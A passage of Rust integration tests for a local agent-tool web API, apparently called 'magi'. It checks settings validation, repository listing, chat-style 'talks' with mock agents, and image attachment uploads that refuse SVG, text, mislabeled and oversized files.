8116 assert_eq!(stale.status, 409, "{}", stale.body);
8117 }
8118
8119 #[tokio::test]
8120 async fn settings_put_refuses_without_touching_the_file() {
8121 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
8122 let (_tmp, repo, machine) = settings_dirs(
8123 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
8124 Some(machine_text),
8125 );
8126 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
8127 let rev = f.get("/api/settings").await.json()["revision"]
8128 .as_str()
8129 .expect("revision")
8130 .to_owned();
8131 for roles in [
8132 serde_json::json!({ "judges": ["nope"] }),
8133 serde_json::json!({ "reviewers": ["b"] }),
8134 serde_json::json!({ "bogus": ["a"] }),
8135 ] {
8136 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
8137 let res = f.put("/api/settings/roles", &body).await;
8138 assert_eq!(res.status, 422, "{roles}: {}", res.body);
8139 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
8140 assert_eq!(
8141 std::fs::read_to_string(&machine).expect("machine"),
8142 machine_text
8143 );
8144 }
8145 }
8146
8147 #[tokio::test]
8148 async fn repos_list_returns_name_and_path_for_every_configured_root() {
8149 let tmp = TempDir::new().expect("tempdir");
8150 let repo = tmp.path().join("repo");
8151 std::fs::create_dir_all(&repo).expect("repo dir");
8152 let root = tmp.path().join("root");
8153 make_checkout(&root, "github.com", "yukimemi", "magi");
8154 std::fs::write(
8155 repo.join("magi.toml"),
8156 format!(
8157 "[repos]\nroots = [{:?}]\n",
8158 root.to_string_lossy().into_owned()
8159 ),
8160 )
8161 .expect("write magi.toml");
8162
8163 let f = Fixture::with_repo(repo).await;
8164 let res = f.get("/api/repos").await;
8165 assert_eq!(res.status, 200, "{}", res.body);
8166 let list = res.json();
8167 let repos = list.as_array().expect("an array");
8168 assert_eq!(repos.len(), 1);
8169 assert_eq!(repos[0]["name"], "yukimemi/magi");
8170 assert!(
8171 repos[0]["path"]
8172 .as_str()
8173 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
8174 "{list}"
8175 );
8176 }
8177
8178 #[tokio::test]
8179 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
8180 let tmp = TempDir::new().expect("tempdir");
8181 let repo = tmp.path().join("repo");
8182 std::fs::create_dir_all(&repo).expect("repo dir");
8183 let root = tmp.path().join("root");
8184 make_checkout(&root, "github.com", "yukimemi", "magi");
8185 std::fs::write(
8186 repo.join("magi.toml"),
8187 format!(
8188 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
8189 root.to_string_lossy().into_owned()
8190 ),
8191 )
8192 .expect("write magi.toml");
8193
8194 let f = Fixture::with_repo(repo).await;
8195 let first = f.get("/api/repos").await;
8196 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
8197
8198 make_checkout(&root, "github.com", "yukimemi", "rvpm");
8201 let second = f.get("/api/repos").await;
8202 assert_eq!(
8203 second.json().as_array().map(Vec::len),
8204 Some(1),
8205 "a fresh cache must not rescan inside the TTL"
8206 );
8207
8208 let refreshed = f.get("/api/repos?refresh=1").await;
8209 assert_eq!(
8210 refreshed.json().as_array().map(Vec::len),
8211 Some(2),
8212 "an explicit refresh must rescan even inside the TTL"
8213 );
8214 }
8215
8216 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
8222
8223 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
8227 let tmp = TempDir::new().expect("tempdir");
8228 let repo = tmp.path().join("repo");
8229 std::fs::create_dir_all(&repo).expect("repo dir");
8230 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8231 let f = Fixture::with_repo(repo.clone()).await;
8232 (tmp, repo, f)
8233 }
8234
8235 #[tokio::test]
8236 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
8237 let (_tmp, _repo, f) = talk_fixture().await;
8238
8239 let opened = f.post("/api/talks", None).await;
8242 assert_eq!(opened.status, 201, "{}", opened.body);
8243 let body = opened.json();
8244 assert_eq!(body["status"], "open");
8245 assert_eq!(
8246 body["turns"].as_array().unwrap().len(),
8247 0,
8248 "opening takes no agent turn: there is nothing yet to answer"
8249 );
8250
8251 let also_opened = f.post("/api/talks", Some("{}")).await;
8253 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
8254
8255 let listed = f.get("/api/talks").await.json();
8256 assert_eq!(listed.as_array().unwrap().len(), 2);
8257 }
8258
8259 #[tokio::test]
8260 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
8261 let tmp = TempDir::new().expect("tempdir");
8262 let repo = tmp.path().join("repo");
8263 std::fs::create_dir_all(&repo).expect("repo dir");
8264 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
8265 std::fs::write(
8266 repo.join("magi.toml"),
8267 format!("{MOCK_AGENT_TOML}\n{second}"),
8268 )
8269 .expect("write magi.toml");
8270 let home = TempDir::new().expect("temp home");
8271 let talks = Talks::at(home.path().join("talks"));
8272 let ui = Arc::new(
8273 Ui::new(
8274 Queue::at(home.path().join("queue")),
8275 Questions::at(home.path().join("questions")),
8276 talks.clone(),
8277 home.path().join("runs"),
8278 home.path().to_path_buf(),
8279 repo.clone(),
8280 )
8281 .with_worktrees_root(home.path().join("wt")),
8282 );
8283 let cfg = config_for(&repo).await.expect("discover config");
8284 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
8285 let id = talk.id.clone();
8286 let call = |agent: &str| {
8287 talk_agent(
8288 State(Arc::clone(&ui)),
8289 Path(id.clone()),
8290 Json(TalkAgent {
8291 agent: agent.to_owned(),
8292 }),
8293 )
8294 };
8295
8296 let unknown = call("nobody").await.expect_err("unknown agent");
8297 assert_eq!(
8298 unknown.status,
8299 StatusCode::BAD_REQUEST,
8300 "{}",
8301 unknown.message
8302 );
8303
8304 {
8305 let mut claimed = None;
8308 for _ in 0..200 {
8309 claimed = ui.begin_talk_turn(&id).expect("claim");
8310 if claimed.is_some() {
8311 break;
8312 }
8313 tokio::time::sleep(Duration::from_millis(10)).await;
8314 }
8315 let _busy = claimed.expect("free");
8316 let busy = call("second").await.expect_err("busy talk");
8317 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
8318 }
8319 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
8320
8321 let Json(view) = call("second").await.expect("switch");
8322 assert_eq!(view.talk.agent, "second");
8323 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
8324 let saved = talks.get(&id).expect("reload");
8325 assert_eq!(saved.agent, "second");
8326 assert_eq!(saved.turns.len(), 1);
8327
8328 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
8329 .await
8330 .expect("detail");
8331 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
8332 assert_eq!(roster, ["mock", "second"]);
8333
8334 let mut closed = talks.get(&id).expect("reload");
8335 talk::close(&mut closed, &talks).expect("close");
8336 let refused = call("mock").await.expect_err("closed talk");
8337 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
8338 }
8339
8340 #[tokio::test]
8341 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
8342 let f = Fixture::start().await;
8343 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
8344 let queue = f.queue();
8345 let mut mine = Task::new(
8346 "rename the loader".to_owned(),
8347 "rename the loader".to_owned(),
8348 PathBuf::from("/repo/magi"),
8349 Source::Agent {
8350 run: talk_id.clone(),
8351 node: "chat".to_owned(),
8352 },
8353 );
8354 queue.put(&mut mine).expect("file the task");
8355 let mut theirs = Task::new(
8356 "unrelated".to_owned(),
8357 "unrelated".to_owned(),
8358 PathBuf::from("/repo/magi"),
8359 Source::Human,
8360 );
8361 queue.put(&mut theirs).expect("file the task");
8362
8363 let res = f.get(&format!("/api/talks/{talk_id}")).await;
8364 assert_eq!(res.status, 200, "{}", res.body);
8365 let body = res.json();
8366 assert_eq!(
8367 body["status"], "open",
8368 "filing a task does not close a talk"
8369 );
8370 let tasks = body["tasks"].as_array().expect("tasks array");
8371 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
8372 assert_eq!(tasks[0]["id"], mine.id);
8373 }
8374
8375 #[tokio::test]
8376 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
8377 let (_tmp, _repo, f) = talk_fixture().await;
8378 let id = f.post("/api/talks", None).await.json()["id"]
8379 .as_str()
8380 .expect("id")
8381 .to_owned();
8382
8383 let res = f
8384 .post(
8385 &format!("/api/talks/{id}/say"),
8386 Some(r#"{"text":"what does the queue module do?"}"#),
8387 )
8388 .await;
8389 assert_eq!(res.status, 202, "{}", res.body);
8390 let queued = res.json();
8391 let turns = queued["turns"].as_array().expect("turns array");
8392 assert_eq!(
8393 turns.len(),
8394 1,
8395 "the answer reflects only what is on disk the instant it is sent, \
8396 before the agent's turn - which can run for the whole of \
8397 `[graph] timeout_talk` - has a chance to land: {queued}"
8398 );
8399 assert_eq!(turns[0]["who"], "operator");
8400 assert_eq!(turns[0]["body"], "what does the queue module do?");
8401 assert_eq!(
8402 queued["thinking"], true,
8403 "the accepted response exposes the background turn claim: {queued}"
8404 );
8405
8406 let mut turns_after = 1;
8407 for _ in 0..SETTLE_STEPS {
8408 let detail = f.get(&format!("/api/talks/{id}")).await.json();
8409 turns_after = detail["turns"].as_array().expect("turns array").len();
8410 if turns_after == 2 {
8411 break;
8412 }
8413 tokio::time::sleep(Duration::from_millis(10)).await;
8414 }
8415 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
8416 }
8417
8418 #[tokio::test]
8445 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
8446 let tmp = TempDir::new().expect("tempdir");
8447 let repo = tmp.path().join("repo");
8448 std::fs::create_dir_all(&repo).expect("repo dir");
8449 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8450 let home = TempDir::new().expect("temp home");
8451 let talks = Talks::at(home.path().join("talks"));
8452 let ui = Arc::new(
8453 Ui::new(
8454 Queue::at(home.path().join("queue")),
8455 Questions::at(home.path().join("questions")),
8456 talks.clone(),
8457 home.path().join("runs"),
8458 home.path().to_path_buf(),
8459 repo.clone(),
8460 )
8461 .with_worktrees_root(home.path().join("wt")),
8462 );
8463 let cfg = config_for(&repo).await.expect("discover config");
8464
8465 for delay in 0..40u32 {
8466 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
8467 let id = talk.id.clone();
8468
8469 let handler = tokio::spawn(talk_say(
8470 State(Arc::clone(&ui)),
8471 Path(id.clone()),
8472 Ok(Json(NewTalkTurn {
8473 text: "what does the queue module do?".to_owned(),
8474 attachments: Vec::new(),
8475 })),
8476 ));
8477 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
8478 handler.abort();
8479 let _ = handler.await;
8482
8483 let mut turns = 0;
8484 for _ in 0..SETTLE_STEPS {
8485 if let Ok(fresh) = talks.get(&id) {
8486 turns = fresh.turns.len();
8487 if turns != 1 {
8488 break;
8489 }
8490 }
8491 tokio::time::sleep(Duration::from_millis(10)).await;
8492 }
8493 assert_ne!(
8494 turns, 1,
8495 "delay {delay}: talk {id} recorded the operator's turn but \
8496 the agent never answered - the reply task was never \
8497 started after the handler future was dropped"
8498 );
8499 }
8500 }
8501
8502 #[tokio::test]
8547 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
8548 let tmp = TempDir::new().expect("tempdir");
8549 let repo = tmp.path().join("repo");
8550 std::fs::create_dir_all(&repo).expect("repo dir");
8551 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8552 let home = TempDir::new().expect("temp home");
8553 let talks = Talks::at(home.path().join("talks"));
8554 let ui = Arc::new(
8555 Ui::new(
8556 Queue::at(home.path().join("queue")),
8557 Questions::at(home.path().join("questions")),
8558 talks.clone(),
8559 home.path().join("runs"),
8560 home.path().to_path_buf(),
8561 repo.clone(),
8562 )
8563 .with_worktrees_root(home.path().join("wt")),
8564 );
8565 let cfg = config_for(&repo).await.expect("discover config");
8566
8567 for attempt in 0..3u32 {
8568 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
8569 let id = talk.id.clone();
8570 let turn_guard = ui
8573 .begin_talk_turn(&id)
8574 .expect("claim the turn")
8575 .expect("a fresh talk owes nobody a turn");
8576
8577 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
8578 let (release_tx, release_rx) = std::sync::mpsc::channel();
8579 ui.set_busy_queue_gate(BusyQueueGate {
8580 reached: reached_tx,
8581 release: release_rx,
8582 });
8583
8584 let handler = tokio::spawn(talk_say(
8585 State(Arc::clone(&ui)),
8586 Path(id.clone()),
8587 Ok(Json(NewTalkTurn {
8588 text: "what does the queue module do?".to_owned(),
8589 attachments: Vec::new(),
8590 })),
8591 ));
8592
8593 tokio::time::timeout(Duration::from_secs(5), reached_rx)
8598 .await
8599 .unwrap_or_else(|_| {
8600 panic!(
8601 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
8602 )
8603 })
8604 .expect("the busy branch dropped the gate without using it");
8605
8606 let running = talks.get(&id).expect("reload talk");
8613 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
8614
8615 handler.abort();
8619 let _ = handler.await;
8620
8621 let _ = release_tx.send(());
8627
8628 let mut fresh = talks.get(&id).expect("reload talk");
8631 for _ in 0..SETTLE_STEPS {
8632 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
8633 break;
8634 }
8635 tokio::time::sleep(Duration::from_millis(10)).await;
8636 fresh = talks.get(&id).expect("reload talk");
8637 }
8638 assert!(
8639 fresh.pending.is_empty() && fresh.turns.len() == 2,
8640 "attempt {attempt}: talk {id} left the operator's text queued \
8641 with no drainer - the reclaimed turn was dropped along with \
8642 the handler future (pending {:?}, {} turns)",
8643 fresh.pending,
8644 fresh.turns.len()
8645 );
8646 }
8647 }
8648
8649 #[tokio::test]
8650 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
8651 let (_tmp, _repo, f) = talk_fixture().await;
8652 let id = f.post("/api/talks", None).await.json()["id"]
8653 .as_str()
8654 .expect("id")
8655 .to_owned();
8656 let store = f.talks();
8657 let mut recovered = store.get(&id).expect("opened talk");
8658 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
8659 .expect("persist pending draft without a live turn");
8660
8661 let edited = f
8662 .post(
8663 &format!("/api/talks/{id}/pending/edit"),
8664 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
8665 )
8666 .await;
8667 assert_eq!(edited.status, 200, "{}", edited.body);
8668 assert!(edited.json()["thinking"].as_bool().unwrap());
8669
8670 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
8671 for _ in 0..SETTLE_STEPS {
8672 if detail["turns"].as_array().expect("turns").len() == 2 {
8673 break;
8674 }
8675 tokio::time::sleep(Duration::from_millis(10)).await;
8676 detail = f.get(&format!("/api/talks/{id}")).await.json();
8677 }
8678 let turns = detail["turns"].as_array().expect("turns");
8679 assert_eq!(
8680 turns.len(),
8681 2,
8682 "the recovered draft must run once: {detail}"
8683 );
8684 assert_eq!(turns[0]["body"], "corrected");
8685 assert_eq!(detail["pending"], "");
8686 }
8687
8688 #[tokio::test]
8689 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
8690 let tmp = TempDir::new().expect("tempdir");
8691 let repo = tmp.path().join("repo");
8692 std::fs::create_dir_all(&repo).expect("repo dir");
8693 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
8694 let f = Fixture::with_repo(repo).await;
8695 let id = f.post("/api/talks", None).await.json()["id"]
8696 .as_str()
8697 .expect("id")
8698 .to_owned();
8699 let store = f.talks();
8700 let mut recovered = store.get(&id).expect("opened talk");
8701 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
8702 .expect("persist pending draft without a live turn");
8703
8704 let refused = f
8705 .post(
8706 &format!("/api/talks/{id}/say"),
8707 Some(r#"{"text":"new message"}"#),
8708 )
8709 .await;
8710 assert_eq!(refused.status, 409, "{}", refused.body);
8711 assert!(refused.body.contains("resume"), "{}", refused.body);
8712 let saved = store.get(&id).expect("draft remains after refusal");
8713 assert!(saved.turns.is_empty());
8714 assert_eq!(saved.pending, "saved before restart");
8715
8716 let say_path = format!("/api/talks/{id}/say");
8717 let (first, second) = tokio::join!(
8718 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
8719 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
8720 );
8721 assert_eq!(first.status, 409, "{}", first.body);
8722 assert_eq!(second.status, 409, "{}", second.body);
8723 let saved = store
8724 .get(&id)
8725 .expect("draft remains after concurrent refusals");
8726 assert!(saved.turns.is_empty());
8727 assert_eq!(saved.pending, "saved before restart");
8728
8729 let resumed = f
8730 .post(&format!("/api/talks/{id}/pending/resume"), None)
8731 .await;
8732 assert_eq!(resumed.status, 202, "{}", resumed.body);
8733 let duplicate = f
8734 .post(&format!("/api/talks/{id}/pending/resume"), None)
8735 .await;
8736 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
8737
8738 for _ in 0..SETTLE_STEPS {
8739 if store.get(&id).expect("talk").turns.len() == 2 {
8740 break;
8741 }
8742 tokio::time::sleep(Duration::from_millis(10)).await;
8743 }
8744 let finished = store.get(&id).expect("finished talk");
8745 assert_eq!(finished.turns.len(), 2, "{finished:?}");
8746 assert_eq!(finished.turns[0].body, "saved before restart");
8747 assert!(finished.pending.is_empty());
8748 }
8749
8750 #[tokio::test]
8751 async fn an_image_only_recovered_draft_resumes_without_text() {
8752 let (_tmp, _repo, f) = talk_fixture().await;
8753 let id = f.post("/api/talks", None).await.json()["id"]
8754 .as_str()
8755 .expect("id")
8756 .to_owned();
8757 let uploaded = f
8758 .post_bytes(
8759 &format!("/api/talks/{id}/attachments"),
8760 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
8761 PNG_BYTES,
8762 )
8763 .await;
8764 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
8765 let attachment = f
8766 .talks()
8767 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
8768 .expect("attachment metadata")
8769 .expect("stored attachment");
8770 let store = f.talks();
8771 let mut recovered = store.get(&id).expect("opened talk");
8772 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
8773
8774 let resumed = f
8775 .post(&format!("/api/talks/{id}/pending/resume"), None)
8776 .await;
8777 assert_eq!(resumed.status, 202, "{}", resumed.body);
8778 for _ in 0..SETTLE_STEPS {
8779 if store.get(&id).expect("talk").turns.len() == 2 {
8780 break;
8781 }
8782 tokio::time::sleep(Duration::from_millis(10)).await;
8783 }
8784 let finished = store.get(&id).expect("finished talk");
8785 assert_eq!(finished.turns.len(), 2, "{finished:?}");
8786 assert!(finished.turns[0].body.is_empty());
8787 assert_eq!(finished.turns[0].attachments.len(), 1);
8788 assert!(finished.pending_attachments.is_empty());
8789 }
8790
8791 #[tokio::test]
8792 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
8793 let (_tmp, _repo, f) = talk_fixture().await;
8794 let id = f.post("/api/talks", None).await.json()["id"]
8795 .as_str()
8796 .expect("id")
8797 .to_owned();
8798 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
8799 assert_eq!(closed.status, 200, "{}", closed.body);
8800 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
8801 .expect("serialize closed talk");
8802 for (path, body) in [
8803 (format!("/api/talks/{id}/pending/resume"), None),
8804 (
8805 format!("/api/talks/{id}/pending/clear"),
8806 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
8807 ),
8808 (
8809 format!("/api/talks/{id}/pending/edit"),
8810 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
8811 ),
8812 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
8813 ] {
8814 let response = f.post(&path, body).await;
8815 assert_eq!(response.status, 409, "{}", response.body);
8816 }
8817 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
8818 .expect("serialize closed talk");
8819 assert_eq!(
8820 after_clear, before_clear,
8821 "clear must not rewrite a closed talk"
8822 );
8823 }
8824
8825 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
8828
8829 #[tokio::test]
8830 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
8831 let tmp = TempDir::new().expect("tempdir");
8832 let repo = tmp.path().join("repo");
8833 std::fs::create_dir_all(&repo).expect("repo dir");
8834 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
8835 let f = Fixture::with_repo(repo).await;
8836 let id_a = f.post("/api/talks", None).await.json()["id"]
8837 .as_str()
8838 .unwrap()
8839 .to_owned();
8840 let id_b = f.post("/api/talks", None).await.json()["id"]
8841 .as_str()
8842 .unwrap()
8843 .to_owned();
8844
8845 let a = f
8846 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
8847 .await;
8848 assert_eq!(a.status, 202, "{}", a.body);
8849 assert_eq!(a.json()["thinking"], true);
8850 let b = f
8851 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
8852 .await;
8853 assert_eq!(b.status, 202, "{}", b.body);
8854 assert_eq!(b.json()["thinking"], true);
8855
8856 let listed = f.get("/api/talks").await.json();
8857 for id in [&id_a, &id_b] {
8858 let view = listed
8859 .as_array()
8860 .unwrap()
8861 .iter()
8862 .find(|talk| talk["id"] == *id)
8863 .unwrap();
8864 assert_eq!(view["thinking"], true, "{listed}");
8865 }
8866 let repeated = f
8867 .post(
8868 &format!("/api/talks/{id_a}/say"),
8869 Some(r#"{"text":"again"}"#),
8870 )
8871 .await;
8872 assert_eq!(repeated.status, 202, "{}", repeated.body);
8873 assert_eq!(repeated.json()["pending"], "again");
8874 }
8875
8876 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
8879
8880 #[tokio::test]
8881 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
8882 let f = Fixture::start().await;
8883 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
8884
8885 let res = f
8886 .post_bytes(
8887 &format!("/api/talks/{id}/attachments"),
8888 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
8889 PNG_BYTES,
8890 )
8891 .await;
8892 assert_eq!(res.status, 201, "{}", res.body);
8893 let body = res.json();
8894 assert_eq!(body["name"], "shot.png");
8895 assert_eq!(body["mime"], "image/png");
8896 assert_eq!(body["bytes"], PNG_BYTES.len());
8897 let att_id = body["id"].as_str().expect("id").to_owned();
8898 assert_eq!(
8899 att_id.len(),
8900 32,
8901 "the id must never be a client-suppliable path: {att_id}"
8902 );
8903
8904 let got = f
8905 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
8906 .await;
8907 assert_eq!(got.status, 200, "{}", got.body);
8908 assert_eq!(got.header("content-type"), Some("image/png"));
8909 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
8910 assert_eq!(got.bytes, PNG_BYTES);
8911 }
8912
8913 #[tokio::test]
8914 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
8915 let f = Fixture::start().await;
8916 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
8917
8918 let svg = f
8921 .post_bytes(
8922 &format!("/api/talks/{id}/attachments"),
8923 &[("Content-Type", "image/svg+xml")],
8924 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
8925 )
8926 .await;
8927 assert!(
8928 (400..500).contains(&svg.status),
8929 "svg must be refused: {} {}",
8930 svg.status,
8931 svg.body
8932 );
8933 assert!(svg.body.contains("SVG"), "{}", svg.body);
8934
8935 let text = f
8936 .post_bytes(
8937 &format!("/api/talks/{id}/attachments"),
8938 &[("Content-Type", "text/plain")],
8939 b"just some text",
8940 )
8941 .await;
8942 assert!(
8943 (400..500).contains(&text.status),
8944 "an unlisted type must be refused: {} {}",
8945 text.status,
8946 text.body
8947 );
8948
8949 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
8952 let big = f
8953 .post_bytes(
8954 &format!("/api/talks/{id}/attachments"),
8955 &[("Content-Type", "image/png")],
8956 &oversized,
8957 )
8958 .await;
8959 assert_eq!(
8960 big.status,
8961 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
8962 "{}",
8963 big.body
8964 );
8965 }
8966
8967 #[tokio::test]
8968 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
8969 let f = Fixture::start().await;
8970 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
8971
8972 let res = f
8975 .post_bytes(
8976 &format!("/api/talks/{id}/attachments"),
8977 &[("Content-Type", "image/png")],
8978 b"<html>not a picture</html>",
8979 )
8980 .await;
8981 assert!((400..500).contains(&res.status), "{}", res.body);
8982 }
8983
8984 #[tokio::test]
8985 async fn an_unknown_attachment_id_is_a_404() {
8986 let f = Fixture::start().await;
8987 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
8988
8989 let res = f
8990 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
8991 .await;
8992 assert_eq!(res.status, 404, "{}", res.body);
8993 }
8994
8995 #[tokio::test]
8996 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
8997 let f = Fixture::start().await;
8998 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
8999
9000 let uploaded = f
9001 .post_bytes(
9002 &format!("/api/talks/{id}/attachments"),
9003 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
9004 PNG_BYTES,
9005 )
9006 .await;
9007 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
9008 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
9009
9010 let res = f
9011 .post(
9012 &format!("/api/talks/{id}/say"),
9013 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
9014 )
9015 .await;
9016 assert_eq!(res.status, 202, "{}", res.body);
9017 let queued = res.json();
9018 let turns = queued["turns"].as_array().expect("turns array");
9019 assert_eq!(
9020 turns.len(),
9021 1,
9022 "an empty body with an attachment is still a turn: {queued}"
9023 );
9024 assert_eq!(turns[0]["who"], "operator");
9025 assert_eq!(turns[0]["body"], "");
9026 let atts = turns[0]["attachments"]
9027 .as_array()
9028 .expect("attachments array");
9029 assert_eq!(atts.len(), 1);
9030 assert_eq!(atts[0]["id"], att_id);
9031 assert_eq!(atts[0]["mime"], "image/png");
9032
9033 let on_disk = f.talks().get(&id).expect("get");
9036 assert_eq!(on_disk.turns[0].attachments.len(), 1);
9037 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
9038 }
9039
9040 #[tokio::test]
9041 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
9042 let f = Fixture::start().await;
9043 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
9044
9045 let res = f
9046 .post(
9047 &format!("/api/talks/{id}/say"),
9048 Some(&format!(
9049 r#"{{"text":"hi","attachments":["{}"]}}"#,
9050 "a".repeat(32)
9051 )),
9052 )
9053 .await;
9054 assert!((400..500).contains(&res.status), "{}", res.body);
9055 assert!(res.body.contains("unknown attachment"), "{}", res.body);
9056
9057 let on_disk = f.talks().get(&id).expect("get");
9058 assert!(
9059 on_disk.turns.is_empty(),
9060 "a rejected attachment id must not partially record the turn: {:?}",
9061 on_disk.turns
9062 );
9063 }
9064
9065 #[tokio::test]
9066 async fn talk_close_makes_the_talk_refuse_further_turns() {
9067 let f = Fixture::start().await;
9068 let id = seed_talk(&f, "20260904-014455-cd34", "open");
9069
9070 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9071 assert_eq!(closed.status, 200, "{}", closed.body);
9072 assert_eq!(closed.json()["status"], "closed");
9073
9074 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
9076 assert_eq!(closed_again.status, 200);
9077 assert_eq!(closed_again.json()["status"], "closed");
9078
9079 let said = f
9080 .post(
9081 &format!("/api/talks/{id}/say"),
9082 Some(r#"{"text":"too late"}"#),
9083 )
9084 .await;
9085 assert_eq!(said.status, 409, "{}", said.body);
9086 }
9087
9088 #[tokio::test]
9089 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
9090 let (_tmp, _repo, f) = talk_fixture().await;
9091 let id = f.post("/api/talks", None).await.json()["id"]
9092 .as_str()
9093 .expect("id")
9094 .to_owned();
9095 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9096 assert_eq!(closed.status, 200, "{}", closed.body);
9097
9098 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
9099 assert_eq!(reopened.status, 200, "{}", reopened.body);
9100 assert_eq!(reopened.json()["status"], "open");
9101
9102 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
9104 assert_eq!(reopened_again.status, 200);
9105 assert_eq!(reopened_again.json()["status"], "open");
9106
9107 let said = f
9108 .post(
9109 &format!("/api/talks/{id}/say"),
9110 Some(r#"{"text":"still there?"}"#),
9111 )
9112 .await;
9113 assert_eq!(
9114 said.status, 202,
9115 "a reopened talk accepts turns again: {}",
9116 said.body
9117 );
9118 }
9119
9120 #[tokio::test]
9121 async fn talk_reopen_on_an_unknown_id_is_404() {
9122 let f = Fixture::start().await;
